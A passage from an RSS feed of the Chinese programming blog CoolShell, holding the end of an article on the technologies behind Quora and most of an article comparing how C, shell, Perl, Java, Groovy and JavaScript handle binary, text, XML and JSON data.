href=\"http://aws.amazon.com/code/134\" target=\"_blank\">Pyhon S3 <acronym title=\"Application Programming Interface \">API</acronym></a> 处理后后传到 S3。</p>\n<h4 id=\"haproxy-load-balancing\">HAProxy Load-Balancing</h4>\n<p><a href=\"http://haproxy.1wt.eu/\" target=\"_blank\">HAProxy </a>作为前端负载均衡服务器，反向代理服务器是 Nginx，Nginx 后面则是 Pylons (<a href=\"http://spacepants.org/blog/pylons-paste-stack\">Pylons + Paste</a>) , 承担动态 Web 请求。</p>\n<p><a href=\"http://pylonshq.com/\">Pylons</a>，是一个轻量级的Web框架，通常都是在Nginx后面使用。选用Pylons就像你在春节先饺子当主食一样。他们把Pylons中的template和ORM取走而使用自己的技术（由Python写成），这个地方就是 <a href=\"http://www.quora.com/What-languages-and-frameworks-were-used-to-code-Quora\">LiveNode 和 WebNode2的地方</a>。</p>\n<h4>Python</h4>\n<p>从facebook出来的Charlie 和 Adam选用了Python而不是PHP。正如Adam指出的——“<a href=\"http://www.quora.com/Why-did-Quora-choose-Python-for-its-development\">Facebook is stuck on that for legacy reasons, not because it is the best choice right now</a>”（Facebook使用PHP并不是因为其好，而是因为历史原因的问题），当然他们也不会使用C#，因为那样一来就会引入一堆微软的东西。当然，也不会是Java，因为Python要比Java更容易写出代码，Scala太年轻了，还需要考验。Ruby看上来很像Python，但是他们对Ruby没有过多的经验。最终还是Python胜出。当然，他们知道Python的弱点是性能和速度，所以，他们在需要速度和性能的地方使用了C/C++。 他们使用Python的版本是2.6。</p>\n<p>使用Python的另一个原因是Python的数据结构和JSON可以很好的映射起来。代码易读性很高。而且有很多的库，调试器和重载器。Quora的B/S结构几乎完全通过JSON进行数据交互。</p>\n<p>他们<a href=\"http://www.quora.com/Adam-DAngelo/What-version-of-Python-are-you-programming-in-and-what-IDE-do-you-use\" target=\"_blank\">没有使用IDE</a>，他们使用得最多的是Emacs，一看就知道这是一个个人的选择，随着他们开发团队的扩大，这个事会得到改变的。</p>\n<p>另外，他们提到了<a href=\"http://codespeak.net/pypy/dist/pypy/doc/\">PyPy</a>，一个让 Python更快更灵活的项目。</p>\n<h4 id=\"thrift\">Thrift</h4>\n<p><a href=\"http://incubator.apache.org/thrift/\">Thrift</a> 用于后端服务器间的通讯。Thrift  服务由 C++开发。<a href=\"https://coolshell.cn/articles/4549.html\" target=\"_blank\">Facebook同样使用了这个技术</a>。</p>\n<p><strong>参考</strong>：<a href=\"http://www.quora.com/Why-would-you-write-a-Thrift-service-in-C\"><img decoding=\"async\" loading=\"lazy\" src=\"http://www.quora.com/favicon.ico\" alt=\"\" width=\"16\" height=\"16\" />Why would you write a Thrift service in C++?</a></p>\n<h4 id=\"tornado\">Tornado</h4>\n<p><a href=\"http://www.tornadoweb.org/\">Tornado</a> web 框架用于实时更新，其运行在Comet 服务器上，其用来处理大量的需要长时间poll和push更新的网络连接。</p>\n<h4 id=\"long-polling-comet\">Long Polling (Comet)</h4>\n<p>Quora的网页并不是简单的显示，每一个页面都需要更新，或是创建问题，答案和评论。所以，他们使用了Long Polling而不是传统的Polling，传统的Polling需要浏览器一端不停地重复地向服务器询问——“有更新吗？”，服务器说没有，于是过一会浏览大再问，现在呢？服务器说，还是没有，浏览器过一会又问，现在呢？服务器说，还没好。这样一来，就好像让我们的客户端放到了驾驶室里，这显然是有问题的，因为只有服务器知道什么时候会有更新。而且浏览器这么干，很快会让服务器的负载加上去。</p>\n<p>Long polling 也就是我们熟知的 <a href=\"http://en.wikipedia.org/wiki/Comet_(programming)\">Comet</a>，其让服务器来控制这些事，让客服端等在那里听服务器的响应。在client和 server的会话对于两者是是相同的，而不是client需要等着然后向服务器查询。服务器端可以把一个连接打开很长时间（比如：60秒），在这段时间里，服务器会查看是否有相应的东西需要更新，如果有的话，就发给浏览器。如果没有的话，就等下一次的client询问。可见，这种服务器等一会再响应的方法可以让浏览器少发几次查询。</p>\n<p>对于long-polling 的最好的地方是，可以降低浏览器和客户端间来来回回的次数。让服务器端来控制时间，所以，内容更新可能会只是几个毫秒，或是几十秒。 服务器端也可以积攒一堆更新后，一次发给浏览器。这样做会更有效率。</p>\n<p>但是，这个方法的黑暗面是——这会让服务器端出现大量的TCP链接，想一想，Quora也是百万级用户的应用了，只需要10%的在线用户，你就需要一个可以处理10万并发量的架构。注意，如果一个用户在其浏览器里打开了多个Quora网页的话，那么，这个链接器会是非常致命的。</p>\n<p>当然，好的消息是已经有一些技术专门为Long Polling设计，这些技术可以让你在那些等待的连接中只会消耗非常非常少的内存（因为那些等待连接并不需要所有的资源）。例如：Nginx 是一个单线程的事件驱动的小型服务器，每一个链接只花非常小的内存。每一个Nginx的进程只会在一个时候处理一个连接。这意味着其很容易扩展成一个可以处理成千上的并发量的服务架构。</p>\n<p><strong>参考</strong>：<a href=\"http://www.quora.com/How-do-you-push-messages-back-to-a-web-browser-client-through-AJAX-Is-there-any-way-to-do-this-without-having-the-client-constantly-polling-the-server-for-updates\"><img decoding=\"async\" loading=\"lazy\" src=\"http://www.quora.com/favicon.ico\" alt=\"\" width=\"16\" height=\"16\" />How do you push messages back to a web-browser client through AJAX? Is there any way to do this without having the client constantly polling the server for updates?</a></p>\n<h4 id=\"mysql\">MySQL</h4>\n<p>就像Adam D’Angelo 的老东家facebook一样，，Quora重度使用MySQL。对于，把数据库里的数据分区是最需要做的事。他们的行事原则是，尽可能的把数据放在一台机器上，使用hash主键把大规模的数据存放到多个数据库中。坚决不用表连接。Adam参考了FriendFeed的一篇文章<a href=\"http://bret.appspot.com/entry/how-friendfeed-uses-mysql\">How FriendFeed uses MySQL to store schema-less data</a>，<a href=\"http://www.quora.com/NoSQL/In-what-parts-of-a-social-site-with-concert-listings-should-one-use-a-NoSQL-DB-versus-a-SQL-DB\">并说</a>你不应该在你的社区还没有100万用户的时候使用NoSQL 数据库。</p>\n<p>并不只是Quora和FriendFeed使用MySQL，Google，Twitter，Facebook都在使用MySQL.</p>\n<p>参考：<a href=\"http://www.quora.com/How-does-one-evaluate-if-a-database-is-efficient-enough-to-not-crash-as-its-put-under-increasing-load\"><img decoding=\"async\" loading=\"lazy\" src=\"http://www.quora.com/favicon.ico\" alt=\"\" width=\"16\" height=\"16\" />How does one evaluate if a database is efficient enough to not crash as it’s put under increasing load?</a></p>\n<h4 id=\"memcached\">Memcached</h4>\n<p><a href=\"http://memcached.org/\">Memcached</a> 用于 MySQL的前端缓存。</p>\n<h4 id=\"git\">Git</h4>\n<p><a href=\"http://git-scm.com/\">Git</a> <a href=\"http://www.quora.com/What-languages-and-frameworks-were-used-to-code-Quora\">是他们的源码版本控制工具</a>.</p>\n<h4 id=\"javascript-placement\">JavaScript Placement</h4>\n<p>如果你看一下Quora的网页源码，你会看到其JavaScript总是在页面的最后。 Charlie Cheever<a href=\"http://www.quora.com/Why-is-the-Quora-website-so-fast\">建议</a> 这会让你的页面显得载入得很快，因为其先显示内容，然后在载入Javascript。</p>\n<h4 id=\"charlie-cheever-follows-14-rules-for-faster-loading-web-sites\">Charlie Cheever 遵从 “14 Rules for Faster-Loading Web Sites”</h4>\n<p>Steve Souders,  High Performance Web Sites 和 Even Faster Web Sites的作者，其列了一些 <a href=\"http://stevesouders.com/hpws/rules.php\">rules让你网页更快的原则</a>。 Charlie Cheever 的 Quora 创始人提到这些过，这应该也是Quora的速度的原因。</p>\n<blockquote><p>“One resource we used as a guide is Steve Souders’ list of rules for high performance websites:<a href=\"http://stevesouders.com/hpws/rules.php\">http://stevesouders.com/hpws/rules.php</a>”<br />\n<small><a href=\"http://www.quora.com/Why-is-the-Quora-website-so-fast\">– Charlie Cheever, Quora</a></small></p></blockquote>\n<div>\n<div>Steve Souders的14条规则是——<a href=\"http://www.amazon.com/gp/product/0596529309?ie=UTF8&amp;tag=getafil-20&amp;linkCode=as2&amp;camp=1789&amp;creative=9325&amp;creativeASIN=0596529309\"><img decoding=\"async\" class=\"alignright\" src=\"https://images-na.ssl-images-amazon.com/images/I/41COtT-V1UL._SL160_.jpg\" border=\"0\" alt=\"\" /></a><a href=\"http://www.amazon.com/gp/product/0596522304?ie=UTF8&amp;tag=getafil-20&amp;linkCode=as2&amp;camp=1789&amp;creative=9325&amp;creativeASIN=0596522304\"><br />\n</a>&nbsp;</p>\n<ul>\n<li>Make Fewer HTTP Requests</li>\n<li>Use a Content Delivery Network</li>\n<li>Add an Expires Header</li>\n<li>Gzip Components</li>\n<li>Put Stylesheets at the Top</li>\n<li>Put Scripts at the Bottom</li>\n<li><a href=\"http://www.amazon.com/gp/product/0596522304?ie=UTF8&amp;tag=getafil-20&amp;linkCode=as2&amp;camp=1789&amp;creative=9325&amp;creativeASIN=0596522304\"><img decoding=\"async\" class=\"alignright\" src=\"https://images-na.ssl-images-amazon.com/images/I/41vfOvQugoL._SL160_.jpg\" border=\"0\" alt=\"\" /></a>Avoid CSS Expressions</li>\n<li>Make JavaScript and CSS External</li>\n<li>Reduce DNS Lookups</li>\n<li>Minify JavaScript</li>\n<li>Avoid Redirects</li>\n<li>Remove Duplicate Scripts</li>\n<li>Configure ETags</li>\n<li>Make AJAX Cacheable</li>\n</ul>\n</div>\n</div>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4549.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"Facebook 的系统架构\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4549.html\" class=\"wp_rp_title\">Facebook 的系统架构</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18140.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/09/react_patent-360x200-1-150x150.jpg\" alt=\"关于Facebook 的 React 专利许可证\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18140.html\" class=\"wp_rp_title\">关于Facebook 的 React 专利许可证</a></li><li ><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" alt=\"Python修饰器的函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_title\">Python修饰器的函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"类型的本质和函数式实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_title\">类型的本质和函数式实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4939.html\">Quora使用到的技术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4939.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>48</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>语言的数据亲和力</title>\n\t\t<link>https://coolshell.cn/articles/4905.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4905.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Todd]]></dc:creator>\n\t\t<pubDate>Wed, 29 Jun 2011 00:10:44 +0000</pubDate>\n\t\t\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Groovy]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[JSON]]></category>\n\t\t<category><![CDATA[XML]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4905</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>[ 感谢 Todd 同学投递本文 ] 目前，程序设计语言似乎进入了一个蓬勃发展的时期，Javascript、Perl、Python、Ruby、Groovy等一批...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4905.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4905.html\">语言的数据亲和力</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>[ 感谢 <a href=\"http://www.cnblogs.com/weidagang2046/\" target=\"_blank\">Todd 同学</a>投递本文 ]</strong></p>\n<p><span style=\"font-family: 'Lucida Console';\">目前，程序设计语言似乎进入了一个蓬勃发展的时期，Javascript、Perl、Python、Ruby、Groovy等一批较新的语言正越来越多地被熟悉和使用，而C++、C#、Java等主流语言也在不断地融入函数式和动态性特征。程序员的百宝箱中可供选择的宝贝是越来多了，而社区中关于语言间的比较和争论也更为热烈，我们常常见到关于“面向过程和面向对象的比较”、“动态语言和静态语言的比较”、“命令式和函数式范式的比较”等比较。我注意到这类讨论的关注点多集中于设计相关话题，如“动态语言的Duck typing多态和静态语言的继承多态的比较”，“Prototype based和Class based的比较”等。但我认为还有一个十分重要的方面值得关注，这就是数据处理。</span></p>\n<p><span style=\"font-family: 'Lucida Console';\">数据处理之所以重要是因为不论是本地信息存储还是系统间信息交换都需要建立在一定的数据格式基础上。另外，不管语言属于那种范式，设计上采用什么模式，在微观层次上程序很大一部分工作都是在做数据处理。所以，从数据处理角度比较和理解语言间的差异有重要的现实意义。虽然数据通常是平台和语言无关的，但不同的语言在处理某种格式的数据时会表现出不同的难度，甚至某些数据格式只能采用特定的语言才能实现，这就是数据亲和力的不同。</span></p>\n<p><span style=\"font-family: 'Lucida Console';\">语言的数据亲和力(Data Affinity)指的是语言的数据模型与某种数据格式之间的匹配程度。语言对某种数据格式亲和力越强，则操作某类数据越容易。</span></p>\n<p>&nbsp;</p>\n<h4><strong><span style=\"font-family: 'Lucida Console';\">二进制字节块格式</span></strong></h4>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p><span style=\"font-family: 'Lucida Console';\">在偏底层的操作系统、嵌入式和通信系统中，二进制的字节块是最常见的一种数据格式。二进制数据布局紧凑和接近机器的特点使得它常常作为系统间通信或系统文件的数据格式，但一般高级语言都不方便直接和0101打交道，而是基于记录、结构体和类等结构化表示操作数据，这就存在着在底层的二进制字节块和高层的结构化数据直接的转换问题。</span></p>\n<p><span style=\"font-family: 'Lucida Console';\"><span id=\"more-4905\"></span><br />\n</span></p>\n<p><span style=\"font-family: 'Lucida Console';\">C语言作为最主要的系统语言具有很高的字节块数据亲和力。这不仅因为C语言具有指针可以直接访问内存以外，还因为C的结构体(struct)可以和字节块建立起直接的映射关系。例如，在基于Socket连接的分布式系统中服务器端和客户端通过二进制的字节数据进行通信，通信双方只要事先定义共用的结构体，发送方先创建相应的结构体变量并填充字段，然后把变量对应的内存块copy到Socket，接收方从Socket读取字节块，然后把字节块强制类型转换为相应的结构体指针即可读取个字段信息。整个过程中通信的双方都没有复杂的信息编码和解码的过程。示例代码如下：</span></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">struct t_data {\n    int version;\n    char type[10];\n    float value;\n};\n\n//发送方\nstruct t_data data;\ndata.version = 1;\nstrcpy(data.type,  “degree”);\ndata.value = 189.0;\nsend(socket,  &amp;data,  sizeof(data));\n\n//接收方\nstruct t_data data;\nread(socket,  &amp;data,  sizeof(data));\nprintf(“%d, %s, %f”, data.version,  data.type, data.value);</pre>\n<p>&nbsp;</p>\n<p><span style=\"font-family: 'Lucida Console';\">上面的方法在实际应用中还需要注意内存对齐问题和大小端问题。内存对齐问题可以通过编译器预处理命令来进行控制，保证内存中struct结构与传输的字节块具有相同的对齐方式；大小端问题需要通信的双方采用同样的大小端方式，否则就需要进行转换。</span></p>\n<p><span style=\"font-family: 'Lucida Console';\">C++可以完全兼容C的结构体，但C++的类(包括class和struct)中如果定义了虚函数，则会丧失结构的字节块数据亲和力，这是C++编程时需要权衡的一个因素。而除了C/C++，其他语言中则难以见到字节块数据亲和力，其原因在于C/C++允许控制结构体/对象的内存布局，并允许对指针进行非类型安全的强制类型转换，这都是在Java，C#等语言中不允许的。所以，在Java、C#中进行字节块的编码解码就只能按照协议一个字段一个字段地按偏移量和长度进行解析。C/C++的指针以及结构体和内存的直接映射带来了对字节块数据的亲和力，但同时也留下了内存访问和类型安全的隐患；而Java、C#在拥有引用安全和类型安全的同时也失去了对字节块数据的亲和力。</span></p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<h4><span style=\"font-family: 'Lucida Console';\"><strong>文本格式</strong> </span></h4>\n<p><span style=\"font-family: 'Lucida Console';\">文本格式是另一种十分常见的数据格式。《Unix编程艺术》中是这样描述文本格式的：&#8221;Text streams are a valuable universal format because they&#8217;re easy for human beings to read, write, and edit without specialized tools ”。基于文本流的管道处理是一种备受赞誉的Unix风格。Shell可以通过管道把各种功能单一的命令串联起来，让文本流在管道上流动，因而Shell语言具有很好的文本数据亲和力。许多文本数据处理任务Bash都可以一行搞定，这就是Hacker们酷爱的One Liner风格。</span></p>\n<p>&nbsp;</p>\n<p><span style=\"font-family: 'Lucida Console';\">下面我们来看两个用Bash进行文本处理的例子：</span></p>\n<p><span style=\"font-family: 'Lucida Console';\">1. 统计当前目录下的gz文件数目：</span></p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">ls –l *.gz | wc –l</code></p>\n<p>&nbsp;</p>\n<p><span style=\"font-family: 'Lucida Console';\">2. 在Web服务器日子service.log中统计2011年6月26和27两天中每天中各页面的PV</span></p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">cat service.log | grep  ^2011-06-2[6-7] | cut –d ‘ ‘ –f 1, 3 | sort | uniq –c</code></p>\n<p>&nbsp;</p>\n<p>service.log:</p>\n<p style=\"padding-left: 30px;\"><span style=\"font-family: 'Lucida Console';\">2011-06-25 13:00:55 /music/c.htm Safari<br />\n…<br />\n2011-06-26 08:01:23 /main.htm IE<br />\n2011-06-26 08:03:01 /sports/b.htm Chrome<br />\n…<br />\n2011-06-27 11:41:06 /main.htm IE<br />\n2011-06-27 11:52:41 /news/a.htm Firefox</span></p>\n<p>&nbsp;</p>\n<p><span style=\"font-family: 'Lucida Console';\">输出:</span></p>\n<p style=\"padding-left: 30px;\"><span style=\"font-family: 'Lucida Console';\">210 2011-06-26 /main.htm<br />\n231 2011-06-26 /news/a.htm<br />\n155 2011-06-26 /sports/b.htm<br />\n288 2011-06-27 /main.htm<br />\n292 2011-06-27 /news/a.htm<br />\n161 2011-06-27 /sports/b.htm</span></p>\n<p>&nbsp;</p>\n<p><span style=\"font-family: 'Lucida Console';\">上面的两个简单文本数据处理任务如果是在C或C++下实现则要麻烦得多，代码量至少是十几行或者数十行，加上编译调试，整个开发效率可能比Shell低一个数量级。除了Shell外，Perl也是以强大的文本数据处理而闻名的。我们来看一个Perl正则表达式的例子：</span></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">while (&lt;STDIN&gt;) {\n    if (/hello\\s(\\w+)/i)  {\n        print “say hello to $1“\n     }\n     elsif (/goodbye\\s(\\w+)/i)  {\n         print “say goodbye to  $1”\n    }\n}</pre>\n<p><span style=\"font-family: 'Lucida Console';\">输入：</span></p>\n<p style=\"padding-left: 30px;\">HeLLo world</p>\n<p style=\"padding-left: 30px;\">Goodbye bug</p>\n<p><span style=\"font-family: 'Lucida Console';\">输出：</span></p>\n<p style=\"padding-left: 30px;\">say hello to world</p>\n<p style=\"padding-left: 30px;\">say goodbye to bug</p>\n<p><span style=\"font-family: 'Lucida Console';\">上面的例子中我们看到Perl直接进行字符串匹配并进行数据提取的强大威力。Perl基于正则表达式的字符串处理不仅比C/C++等系统语言更强大，甚至比Python这样的动态语言也更强大和更方便，这是因为正则表达式是Perl语言的“一等公民”，这就使得Perl比其他以库的方式支持正则表达式功能的语言具有更好的文本数据亲和力。后来的Ruby也学习Perl把直接在语言上支持正则表达式。</span></p>\n<p>&nbsp;</p>\n<h4><strong><span style=\"font-family: 'Lucida Console';\">结构化文本格式</span></strong></h4>\n<p><span style=\"font-family: 'Lucida Console';\">XML是最近十几年来流行起来的一种通用（半）结构化的文本数据交换格式。XML除具有一般文本格式的优点外，还具有表达复杂的层次信息的优势，所以它至诞生以来就被大量用于配置文件和各种Web Service中。现代程序设计基本都少不了了XML打交道，不过在C++、Java和C#集中静态类型语言中处理XML却并不是一件十分轻松的事情。我们先来看一个Java解析和构建下面这个XML的例子：</span></p>\n<pre data-enlighter-language=\"xml\" class=\"EnlighterJSRAW\">&lt;langs type=&quot;current&quot;&gt;\n  &lt;language&gt;Java&lt;/language&gt;\n  &lt;language&gt;Groovy&lt;/language&gt;\n  &lt;language&gt;JavaScript&lt;/language&gt;\n&lt;/langs&gt;</pre>\n<p>&nbsp;</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">//Java解析XML\nDocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();\ntry {\n    DocumentBuilder db = dbf.newDocumentBuilder();\n    Document doc = db.parse(&quot;src/languages.xml&quot;);\n    Element langs = doc.getDocumentElement();\n    System.out.println(&quot;type = &quot; + langs.getAttribute(&quot;type&quot;));\n    NodeList list = langs.getElementsByTagName(&quot;language&quot;);\n    for(int i = 0 ; i &amp;lt; list.getLength();i++) {\n        Element language = (Element) list.item(i);\n        System.out.println(language.getTextContent());\n    }\n}catch(Exception e) {\n    e.printStackTrace();\n}\n\n//Java创建XML\nDocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();\ntry {\n    DocumentBuilder db = dbf.newDocumentBuilder();\n    Document doc = db.newDocument();\n    Element langs = doc.createElement(&quot;langs&quot;);\n    langs.setAttribute(&quot;type&quot;, &quot;current&quot;);\n    doc.appendChild(langs);\n\n    Element language1 = doc.createElement(&quot;language&quot;);\n    Text text1 = doc.createTextNode(&quot;Java&quot;);\n    language1.appendChild(text1);\n    langs.appendChild(language1);\n\n    Element language2 = doc.createElement(&quot;language&quot;);\n    Text text2 = doc.createTextNode(&quot;Groovy&quot;);\n    language2.appendChild(text2);\n    langs.appendChild(language2);\n    Element language3 = doc.createElement(&quot;language&quot;);\n    Text text3 = doc.createTextNode(&quot;JavaScript&quot;);\n    language3.appendChild(text3);\n    langs.appendChild(language3);\n} catch (Exception e) {\n    e.printStackTrace();\n}</pre>\n<p><span style=\"color: #800040; font-family: 'Lucida Console';\"><br />\n</span> 为了解析和创建小小的一段XML代码需要编写如此冗长的Java代码，而实现同样的功能动态语言Groovy则十分简洁：</p>\n<pre data-enlighter-language=\"groovy\" class=\"EnlighterJSRAW\">//Groovy解析XML\ndef langs = new XmlParser().parse(&quot;languages.xml&quot;)\nprintln &quot;type = ${langs.attribute(&quot;type&quot;)}&quot;\nlangs.language.each{\n    println it.text()\n}\n//Groovy创建XML\ndef xml = new groovy.xml.MarkupBuilder()\nxml.langs(type:&quot;current&quot;){\n   language(&quot;Java&quot;)\n   language(&quot;Groovy&quot;)\n   language(&quot;JavaScript&quot;)\n}</pre>\n<p>&nbsp;</p>\n<p><span style=\"font-family: 'Lucida Console';\">上面Groovy操作XML的代码简洁而富有表达力，代码与XML几乎是一一对应的，如同直接在XML上进行操作的DSL一样，而相应的Java代码则看不到XML的影子。这说明Groovy具有很高的XML数据的亲和力。为什么Java和Groovy在XML亲和力方面有这样的差异呢？原因在于Java要求所有的方法和属性都必须先定义再调用，严格的静态类型检查使得Java只能把XML元素作为“二等公民”来表达；而Groovy则没有静态类型检查的限制，可以自由地使用方法和属性来表达XML结构。上面用Groovy创建XML的例子中，groovy.xml.MarkupBuilder类中实际上并没有langs, language这些方法，但会在调用的时候自动创建相应的XML结构。</span></p>\n<p>&nbsp;</p>\n<p><span style=\"font-family: 'Lucida Console';\">除了XML外，JSON是另一种通用的半结构化的纯文本数据交换格式，它常被视为轻量级的XML。JSON的本意是Javascript的对象表示(Javascript Object Notation)，它属于Javascript的语法子集，所以Javascript对JSON有原生的支持。下面就是一个在Javascript中创建JSON对象的例子：</span></p>\n<p>[javascript]var json = { “langs” :<br />\n    {<br />\n        &quot;type” : &quot;current”,<br />\n       &quot;language” :  [&quot;Java”, &quot;Groovy”, &quot;Javascript”]<br />\n    }<br />\n}[/javascript]</p>\n<p><span style=\"font-family: 'Lucida Console';\">许多Javascript程序都会通过AJAX都从服务器获取JSON字符串，然后把字符串解析为JSON对象。由于Javascript对JSON的原生支持，所以，在Javascript中解析JSON字符串可以采用通用的eval方式，如：</span></p>\n<p>[javascript]var json = eval(“(&quot; +  jsonStr + “)&quot;);</p>\n<p>alert(json.langs.type);[/javascript]</p>\n<p><span style=\"font-family: 'Lucida Console';\">甚至可以：</span></p>\n<p>[javascript]eval(“var json = ” +  jsonStr);</p>\n<p>alert(json.langs.type);[/javascript]</p>\n<p>&nbsp;</p>\n<p><span style=\"font-family: 'Lucida Console';\">不过eval的通用性带来了一定的安全隐患，所以一般只建议对受信任的数据源采用eval方式解析JSON，对于不受信任的数据源可以采用专门的JSON解析库。无论如何Javascript对JSON的原生支持都使得Javascript创建和解析JSON数据十分的简单，也就是说Javascript具有很高的JSON数据亲和力。另外，Groovy 1.8也加入了对JSON的原生支持，操作JSON与Javascript一样方便。</span></p>\n<h4><strong><span style=\"font-family: 'Lucida Console';\">总结</span></strong></h4>\n<p><span style=\"font-family: 'Lucida Console';\">到这里为止本文篇幅已经很长了，只能列举二进制字节块格式、文本格式和结构化文本格式3种典型的数据格式。实际上，数据亲和力的话题还有很多值得探讨的，比如C#的Linq。本文的探讨算是抛砖引玉，目的在于引起大家注意在比较语言的时候不要忽略了数据亲和力这样一个重要方面。本文的错误或不足，敬请指正，谢谢！</span><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"对技术的态度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_title\">对技术的态度</a></li><li ><a href=\"https://coolshell.cn/articles/7992.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/cpp_small-150x150.jpg\" alt=\"C++的坑真的多吗？\" 